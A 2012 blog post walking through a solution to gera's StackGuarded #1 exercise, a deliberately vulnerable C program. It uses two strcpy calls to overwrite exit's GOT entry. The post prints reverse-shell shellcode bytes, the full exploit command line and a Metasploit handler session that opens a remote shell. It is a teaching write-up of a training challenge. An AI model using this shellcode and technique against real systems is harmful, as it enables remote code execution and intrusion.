Wednesday, July 11, 2012

StackGuarded #1

Here's my solution to gera's StackGuarded #1.

Since I was unable to track down an old Immunix ISO or an old enough gcc source tarball to patch manually, I'm trying to solve these challenges in the intended spirit of the exercises. The binaries are not compiled with StackGuard.


/* sg1.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

int func(char *msg) {
    char buf[80];

    strcpy(buf,msg);
    // toupper(buf);        // here just to give func() "some" sence
    strcpy(msg,buf);
    exit(1);
}

int main(int argv, char** argc) {
        func(argc[1]);
}

The stack will look something like


char *msg (parameter passed to func)
func's saved return address
StackGuard's canary
saved frame pointer
char buf[80]


On return from func, if the canary has been overwritten, the executable exits and logs a buffer overflow condition.

The key point is that the canary is checked on return from the function, this means we can still overwrite things before the return.

I'm using the first strcpy to overflow buf into msg, the parameter passed by main to func.


[dennis@localhost sg1]$ gdb sg1
...
(gdb) break 8
Breakpoint 1 at 0x80484a8: file sg1.c, line 8.
(gdb) run `perl -e 'print "A" x 96 . "B" x 4'`
Starting program: /home/dennis/sg1/sg1 `perl -e 'print "A" x 96 . "B" x 4'`

Breakpoint 1, func (msg=0x42424242 <Address 0x42424242 out of bounds>)
    at sg1.c:9
9           strcpy(msg,buf);
(gdb) x/x &msg
0xbffffa20:     0x42424242

With the msg pointer in my control, I'm going to use the second strcpy to write a value anywhere.

 The value I'm writing is the address of my shellcode, loaded in the processes environment, and the anywhere I'm going to write to is exit's GOT entry (since exit is called next, before func returns.)


[dennis@localhost sg1]$ objdump -R sg1 | grep exit
08049588 R_386_JUMP_SLOT   exit

dennis@ipa:~/sg1$ cat sc.pl
#!/usr/bin/perl

my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

print $shellcode;

[dennis@localhost sg1]$ export SG1=`perl sc.pl`

dennis@ipa:~/sg1$ cat ev1.c                                                   
#include <stdlib.h>
/* this progname name must be same length as sg1 */

int
main()
{
        char *envaddr;

        envaddr = getenv("SG1");
        printf("SG1 is at %p\n", envaddr);
}




[dennis@localhost sg1]$ ./ev1
SG1 is at 0xbffffc67

Put together it looks like


[dennis@localhost sg1]$ ./sg1 `perl -e 'print "\x67\xfc\xbff\xbf" . "A" x 92 . " \x88\x95\x04\x08"'`

...

msf > use multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:51515) at 2012-07-11 18:22:38 -0500


/bin//sh: ûjYj?XÍIyøj
                     XRh//shh/binãRSáÍ: No such file or directory
id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg1

No comments:

Post a Comment